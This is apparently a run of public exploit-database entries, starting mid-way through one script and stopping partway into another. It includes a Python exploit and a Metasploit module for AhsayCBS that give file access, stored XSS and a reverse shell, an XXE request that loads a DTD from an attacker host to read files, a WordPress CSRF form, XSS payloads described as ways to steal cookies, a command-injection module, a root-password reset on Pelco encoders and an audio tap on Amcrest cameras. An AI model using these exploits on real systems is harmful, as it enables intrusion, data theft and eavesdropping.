self.accountValid is None: print ("Something went wrong!") self.accountValid = False return False # print (r.data) # print (r.status) except Exception as e: print (e) self.accountValid = False return False def checkTrialAccount(self): try: # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','') if (r.status == 200 and r.data == b'ENABLED' ): print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url)) return True else: print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url)) return False except Exception as e: print ("Something went wrong with url {} !".format(self.url)) print (e) return False def addTrialAccount(self,alias=""): try: if not self.checkTrialAccount(): return False headers={ 'X-RSW-custom-encode-alias': '{}'.format(b64(alias)), 'X-RSW-custom-encode-password': '{}'.format(b64(self.password)), 'X-RSW-custom-encode-username': '{}'.format(b64(self.username)) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers) if (r.status == 200): print ("Account '{}' created with password '{}'".format(username, password)) elif (r.data == b'LOGIN_NAME_IS_USED'): print ("Username is in use!") elif (r.data == b'PWD_COMPLEXITY_FAILURE'): print ("Password not complex enough") else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print (e) pass if __name__ == "__main__": parser = argparse.ArgumentParser( __file__, description="Exploit for AhsayCBS v6.x < v8.1.1..50", usage=""" Check if Trial account is enabled: %(prog)s --host https://172.16.238.213/ -c Create Trial account: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' Create Trial account with stored XSS: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' -x --xssvalue "'><script>alert(1)</script>" Delete file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action delete --path ../../../../../../../../test.txt List files in dir: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action list --path ../../../../../../../../ Upload a file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action upload --localfile test.txt --path ../../../../../../../../ --filename test.txt Upload reverse shell: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! -e --ip 172.16.238.1 --port 4444 """ ) manda = parser.add_argument_group("Mandatory options") manda.add_argument("--host", help="Url of AhsayCBS server", # required=True ) check = parser.add_argument_group("Check options") check.add_argument("-c", "--check", help="Check if host is vulnerable", action="store_true" ) add = parser.add_argument_group("Add account options") add.add_argument("-a","--add", help="Add trial account", action="store_true" ) add.add_argument("-u","--username", help="username to create" ) add.add_argument("-p","--password", help="Password to create" ) exploit = parser.add_argument_group("Exploit options") exploit.add_argument("-e", "--exploit", help="Run reverse shell exploit", action="store_true" ) exploit.add_argument("--ip", help="Set the attackers IP", default="127.0.0.1" ) exploit.add_argument("--port", help="Set the attackers port", default="4444" ) #Optional xss = parser.add_argument_group("XSS") xss.add_argument("-x","--xss", help="Use XSS in alias field.", action="store_true", default=False ) xss.add_argument("--xssvalue", help="Custom XSS value (must start with '>)", default="'><script>alert(1)</script>", required=False ) # list files fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." ) fileaction.add_argument("--action", help="use: delete, upload, download or list", default="list" ) fileaction.add_argument("--localfile", help="Upload a local file" ) fileaction.add_argument("--filename", help="Filename on the server" ) fileaction.add_argument("--path", help="Directory on server use ../../../", default="/" ) fileaction.add_argument("--recursive", help="Recurse actions list and delete", action="store_true", default=False ) try: args = parser.parse_args() if args.add and (args.username is None or args.password is None): parser.error("The option --add / -a requires: --username and --password") if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None): parser.error("The option -e / --exploit requires: --username, --password, --ip and --port") # if not (args.host or args.r7): if not (args.host): parser.error("The option --host requires: -a, -c, -e or -f") else: url = args.host url = url.rstrip('/') username = args.username password = args.password e = Exploit(url,username,password) #Include proxy option inside brackets if required -> "http://localhost:8080" if args.check: e.checkTrialAccount() elif args.add: if args.xss and (args.xssvalue is None): parser.error("The option -x / --xss requires: --xssvalue") if args.xssvalue: alias = args.xssvalue e.addTrialAccount(alias) elif args.exploit: print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port)) input("Press Enter to continue...") e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp") elif args.action != "upload": e.fileActions(args.path,args.action,args.recursive) elif args.action == "upload": if args.localfile is not None: f = open(args.localfile, "r") fileContent = f.read() e.upload("{}{}".format(args.path,args.filename),fileContent) else: parser.error("The option --upload must contain path to local file") except Exception as e: print (e) pass
  15. # Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit) # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 (REQUIRED) # Tested on: Windows / Linux # CVE : CVE-2019-10267 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload', 'Description' => %q{ This module exploits an authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute the upload credentials are needed, default on Ahsay Backup trial accounts are enabled so an account can be created. It can be exploited in Windows and Linux environments to get remote code execution (usualy as SYSTEM). This module has been tested successfully on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this flaw all connected clients can be configured to execute a command before the backup starts. Allowing an attacker to takeover even more systems and make it rain shells! Setting the CREATEACCOUNT to true will create a new account, this is enabled by default. If credeantials are known enter these and run the exploit. }, 'Author' => [ 'Wietse Boonstra' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-10267'], [ 'URL', 'https://www.wbsec.nl/ahsay/' ], [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ] ], 'Privileged' => true, 'Platform' => 'win', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', # should work but untested { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 1 2019')) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']), OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]), OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]), OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']), OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']), ]) end def is_trial_enabled? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'), 'method' => 'POST', 'data' => '' }) if res and res.code == 200 and "ENABLED" =~ /#{res.body}/ return true else return false end end def check_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'), 'method' => 'POST', 'data' => '', 'headers' => headers }) if res and res.code == 200 print_good("Username and password are valid!") return true elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username incorrect!') print_status("Username does not exist.") return false elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username exists but password incorrect!') print_status("Username exists but password incorrect!") return false else return false end end def create_request_headers headers = {} username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers['X-RSW-custom-encode-username'] = username headers['X-RSW-custom-encode-password'] = password headers end def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true" if username == "" or password == "" fail_with(Failure::NoAccess, 'Please set a username and password') else #check if account does not exists? if !check_account? # Create account and check if it is valid if create_account? drop_and_execute() else fail_with(Failure::NoAccess, 'Failed to authenticate') end else #Need to fix, check if account exist print_good("No need to create account, already exists!") drop_and_execute() end end elsif username != "" and password != "" if check_account? drop_and_execute() else if is_trial_enabled? fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!') end fail_with(Failure::NoAccess, 'Username and password are invalid') end else fail_with(Failure::UnexpectedReply, 'Missing some settings') end end def create_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'), 'method' => 'POST', 'data' => '', 'headers' => headers }) # print (res.body) if res and res.code == 200 print_good("Account created") return true elsif res.body.include?('LOGIN_NAME_IS_USED') fail_with(Failure::NoAccess, 'Username is in use!') elsif res.body.include?('PWD_COMPLEXITY_FAILURE') fail_with(Failure::NoAccess, 'Password not complex enough') else fail_with(Failure::UnexpectedReply, 'Something went wrong!') end end def remove_account if datastore['CREATEACCOUNT'] username = datastore['USERNAME'] users_xml = "../../conf/users.xml" print_status("Looking for account #{username} in #{users_xml}") xml_doc = download(users_xml) xmldoc = Document.new(xml_doc) el = 0 xmldoc.elements.each("Setting/Key") do |e| el = el + 1 e.elements.each("Value") do |a| if a.attributes["name"].include?('name') if a.attributes["data"].include?(username) print_good("Found account") xmldoc.root.elements.delete el print_status("Removed account") end end end end new_xml = xmldoc.root print_status("Uploading new #{users_xml} file") upload(users_xml, new_xml.to_s) print_good("Account is inaccesible when service restarts!") end end def prepare_path(path) if path.end_with? '/' path = path.chomp('/') end path end def drop_and_execute() path = prepare_path(datastore['UPLOADPATH']) exploitpath = path.gsub("../../webapps/cbs/",'') exploitpath = exploitpath.gsub("/","\\\\\\") requestpath = path.gsub("../../webapps/",'') #First stage payload creation and upload exe = payload.encoded_exe exe_filename = Rex::Text.rand_text_alpha(10) exefileLocation = "#{path}/#{exe_filename}.exe" print_status("Uploading first stage payload.") upload(exefileLocation, exe) #../../webapps/cbs/help/en exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>} #Second stage payload creation and upload jsp_filename = Rex::Text.rand_text_alpha(10) jspfileLocation = "#{path}/#{jsp_filename}.jsp" print_status("Uploading second stage payload.") upload(jspfileLocation, exec) proto = ssl ? 'https' : 'http' url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp") #Triggering the exploit print_status("Triggering exploit! #{url}" ) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"), 'method' => 'GET' }) if res and res.code == 200 print_good("Exploit executed!") end #Cleaning up print_status("Cleaning up after our selfs.") remove_account print_status("Trying to remove #{exefileLocation}, but will fail when in use.") delete(exefileLocation) delete(jspfileLocation) delete("../../user/#{datastore['USERNAME']}",true) end def upload(fileLocation, content) username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) uploadPath = Rex::Text.encode_base64(fileLocation) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password headers['X-RSW-custom-encode-path'] = uploadPath res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'), 'method' => 'PUT', 'headers' => headers, 'data' => content, 'timeout' => 20 }) if res && res.code == 201 print_good("Succesfully uploaded file to #{fileLocation}") else fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end end def download(fileLocation) #TODO make vars_get variable print_status("Downloading file") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'), 'method' => 'GET', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation } }) if res and res.code == 200 res.body end end def delete(fileLocation, recursive=false) print_status("Deleting file #{fileLocation}") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'), 'method' => 'DELETE', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation, 'recursive' => recursive } }) if res and res.code == 200 res.body end end def check #We need a cookie first cookie_res = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'), 'method' => 'GET' }) if cookie_res and cookie_res.code == 200 cookie = cookie_res.get_cookies.split()[0] else return Exploit::CheckCode::Unknown end if defined?(cookie) #request the page with all the clientside software links. headers = {} headers['Cookie'] = cookie link = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'), 'method' => 'GET', 'headers' => headers }) if link and link.code == 200 link.body.each_line do |line| #looking for the link that contains obm-linux and ends with .sh if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux' filename = line.split("<a")[1].split('"')[1].split("?")[0] filecontent = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, filename), 'method' => 'GET', 'headers' => headers }) if filecontent and filecontent.code == 200 filecontent.body.each_line do |l| if l.include? 'VERSION="' number = l.split("=")[1].split('"')[1] if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/ if number <= '8.1.1.50' and not number < '7' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end end else return Exploit::CheckCode::Unknown end end end else return Exploit::CheckCode::Unknown end else return Exploit::CheckCode::Unknown end end end
  16. # Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe # Version: 7.x < 8.1.0.50 # Tested on: Windows / Linux # CVE : CVE-2019-10266 #Ahsay is vulnerable to a OOB Unauthenticated XML External Entity #More info https://www.wbsec.nl/ahsay/#CVE-2019-10263 Sending the following POST request will trigger the XXE: POST /obs/obm8/user/setUserProfile HTTP/1.1 Content-Type: application/octet-stream Content-Length: 126 Host: 172.16.238.213:80 <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]> On http://attacker/oob add the following content: <!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://:%payl;/%payl;'>"> Here it is possible to change file:///c:/ to any directory/file or internal host.
  17. # Exploit Title: Cross Site Request Forgery in Wordpress Simple Membership plugin # Date: 2019-07-27 # Exploit Author: rubyman # Vendor Homepage: https://wordpress.org/plugins/simple-membership/ # wpvulndb : https://wpvulndb.com/vulnerabilities/9482 # Version: 3.8.4 # Tested on: Windows 8.1 # CVE : CVE-2019-14328 # # Change localhost to your desired host # <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/wordpress/wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST"> <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;from" value="2" /> <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;to" value="3" /> <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;process" value="Bulk&#32;Change&#32;Membership&#32;Level" /> <input type="submit" value="Submit request" /> </form> </body> </html>
  18. # Exploit Title: Real Estate 7 - Real Estate WordPress Theme v2.8.9 Persistent XSS Injection # Google Dork: inurl:"/wp-content/themes/realestate-7/" # Date: 2019/07/20 # Author: m0ze # Vendor Homepage: https://contempothemes.com # Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778 # Version: <= 2.8.9 # Tested on: NginX # CVE: - # CWE: CWE-79 Details & Description: The «Real Estate 7» premium WordPress theme is vulnerable to persistent XSS injection that allows an attacker to inject JavaScript or HTML code into the website front-end. Special Note: - 7.151 Sales - If pre moderation is enabled, then u have a huge chance to steal an admin or moderator cookies. - U can edit any existed listing on the website by changing the unique ID -> https://site.com/edit-listing/?listings=XXX (where XXX is WordPress post ID, u can find it inside <body> tag class). PoC [Persistent XSS Injection]: First of all, register a new account as a seller or agent, log in and choose free membership package @ the dashboard. After that u'll be able to submit a new listing -> https://site.com/submit-listing/ For persistent XSS injection u need to add ur payload inside the «Vitrual Tour Embed» text area (on the «DETAILS» step) and then press «Submit» button. Example: <img src="x" onerror="(alert)(`m0ze`)">
  19. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Powershell include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info(info, 'Name' => 'WP Database Backup RCE', 'Description' => %q( There exists a command injection vulnerability in the Wordpress plugin `wp-database-backup` for versions < 5.2. For the backup functionality, the plugin generates a `mysqldump` command to execute. The user can choose specific tables to exclude from the backup by setting the `wp_db_exclude_table` parameter in a POST request to the `wp-database-backup` page. The names of the excluded tables are included in the `mysqldump` command unsanitized. Arbitrary commands injected through the `wp_db_exclude_table` parameter are executed each time the functionality for creating a new database backup are run. Authentication is required to successfully exploit this vulnerability. ), 'License' => MSF_LICENSE, 'Author' => [ 'Mikey Veenstra / Wordfence', # Vulnerability Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ], ], 'Platform' => [ 'win', 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ] } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => 'printf' } ] ], 'DisclosureDate' => '2019-04-24', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, 'Wordpress username', '' ]), OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]), OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ]) ]) end def check return CheckCode::Unknown unless wordpress_and_online? changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt') res = send_request_cgi( 'method' => 'GET', 'uri' => changelog_uri ) if res && res.code == 200 version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/) return CheckCode::Detected unless version && version.length > 1 vprint_status("Version of wp-database-backup detected: #{version[1]}") return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2') end CheckCode::Safe end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie res = create_exclude_table(cookie) nonce = get_nonce(res) create_backup(cookie, nonce) clear_exclude_table(cookie) end def create_exclude_table(cookie) @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php') res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup' } ) fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200 print_good('Reached the wp-database-backup settings page') if datastore['TARGET'] == 1 comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './') comm_payload = comm_payload.join('&&') comm_payload = comm_payload.gsub('\'', '') comm_payload = "; #{comm_payload} ;" else comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::" end table_res = send_request_cgi( 'method' => 'POST', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_post' => { 'wpsetting' => 'Save', 'wp_db_exclude_table[wp_comment]' => comm_payload } ) fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code print_good('Successfully added payload as an excluded table') res.get_html_document end def get_nonce(response) fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response div_res = response.at('p[@class="submit"]') fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/) fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1 wpnonce[1] end def create_backup(cookie, nonce) first_res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup', '_wpnonce' => nonce, 'action' => 'createdbbackup' } ) res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup', 'notification' => 'create' } ) fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully') print_good('Successfully created a backup of the database') end def clear_exclude_table(cookie) res = send_request_cgi( 'method' => 'POST', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_post' => { 'wpsetting' => 'Save', 'wp_db_exclude_table[wp_comment]' => 'wp_comment' } ) fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200 print_good('Successfully deleted the payload from the excluded tables list') end end
  20. # Exploit Title: GigToDo - Freelance Marketplace Script v1.3 Persistent XSS Injection # Google Dork: - # Date: 2019/07/28 # Author: m0ze # Vendor Homepage: https://www.gigtodoscript.com # Software Link: https://codecanyon.net/item/gigtodo-freelance-marketplace-script/23855397 # Version: <= 1.3 # Tested on: NginX/1.15.10 # CVE: - # CWE: CWE-79 Details & Description: The «GigToDo - Freelance Marketplace Script» web-application is vulnerable to reflected and persistent XSS injections that allows an attacker to inject JavaScript/HTML code into the front-end, redirect visitor to another website or steal admin cookies. PoC [Persistent XSS Injection]: Register a new account, log in and go to the https://www.site.com/proposals/create_proposal page. Vulnerable text area is «Proposal's Description», so paste your payload inside, fill in other fields and save the data TWICE or your payload WILL NOT WORK. So literally paste your payload inside the «Proposal's Description» text area and scroll down to «Update Proposal» button, press it and your data will be saved. After that u'll be redirected to https://www.site.com/proposals/view_proposals.php page. Select your created proposal and press green square dropdown menu on the right («Actions» column) and click on «Edit» link. After that just don't change anything, scroll down to «Update Proposal» button, press it and your data will be saved ONE MORE TIME. That's it, now your payload will work. Example #1: <h1 onmouseover=';alert(`m0ze`);'>m0ze</h1>1"--><svg/onload=';alert(`Script is fully protected from SQL Injection and XSS ©`);'><img src='x' onerror=';alert(`For sure lol`);'> Example #2: <h1 onmouseover=';alert(`Greetz from m0ze`);'>m0ze</h1>1"--><svg/onload=';window.location.replace(` https://twitter.com/m0ze_ru`);'>
  21. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Schneider Electric Pelco Endura NET55XX Encoder", 'Description' => %q( This module exploits inadequate access controls within the webUI to enable the SSH service and change the root password. This module has been tested successfully on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions. ), 'License' => MSF_LICENSE, 'Author' => [ 'Lucas Dinucci <[email protected]>', 'Vitor Esperança <[email protected]>' ], 'References' => [ ['CVE', '2019-6814'], ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ "Universal", {} ] ], 'Privileged' => true, 'DisclosureDate' => "Jan 25 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]), OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10]) ] ) register_advanced_options( [ OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]), OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def new_password datastore['NEW_PASSWORD'] end def check xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\ '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\ '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\ '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\ '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\ '<a:ReplyTo>'\ '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\ '</a:ReplyTo>'\ '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\ '</Header>'\ '<Body>'\ '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\ '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\ '</Probe>'\ '</Body>'\ '</Envelope><?xml version="1.0" encoding="UTF-8"?>' connect_udp(true, {'RPORT' => datastore['UDP_PORT']}) udp_sock.put(xmlPayload) resp = [] resp << udp_sock.get(datastore['TIMEOUT']) xmlResponse = resp.join(',') disconnect_udp if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508") return Exploit::CheckCode::Appears end CheckCode::Safe end def change_password print_status("#{peer} - Attempt to change the root password...") post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'), 'data' => post, 'headers' => { 'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647', 'Content-Type' => 'application/json;charset=utf-8' } }, timeout=datastore['TIMEOUT']) fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200 print_good("#{rhost}:80 - Successfully changed the root password...") print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}") end def do_login change_password print_status("#{rhost}:22 - Attempt to start a SSH connection...") factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => 22, :use_agent => false, :config => true, :password => new_password, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(datastore['RHOST'], 'root', opts) end rescue Rex::ConnectionError rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:22 SSH - Disconnected during negotiation" rescue ::Timeout::Error print_error "#{rhost}:22 SSH - Timed out during negotiation" rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:22 SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}" end if ssh conn = Net::SSH::CommandStream.new(ssh) return conn end end def exploit conn = do_login if conn print_good("#{rhost}:22 - Session established ") handler(conn.lsock) end end end
  22. ## # Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera # Shodan Dork: html:"@WebVersion@" # Date: 08/29/2019 # Exploit Author: Jacob Baines # Vendor Homepage: https://amcrest.com/ # Software Link: https://amcrest.com/firmwaredownloads # Affected Version: V2.520.AC00.18.R # Fixed Version: V2.420.AC00.18.R # Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices. # CVE : CVE-2019-3948 # Disclosure: https://www.tenable.com/security/research/tra-2019-36 # Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt # # To decode the scripts output using ffplay use: # ffplay -f alaw -ar 8k -ac 1 [poc output] # Note that this assumes the camera is using the default encoding options. ## import argparse import socket import struct import sys ## # Read in the specified amount of data. Continuing looping until we get it all... # what could go wrong? # # @return the data we read in ## def recv_all(sock, amount): data = '' while len(data) != amount: temp_data = sock.recv(amount - len(data)) data = data + temp_data return data top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint') top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to") top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80") top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to") top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576") args = top_parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(True) print "[+] Attempting connection to " + args.ip + ":" + str(args.port) 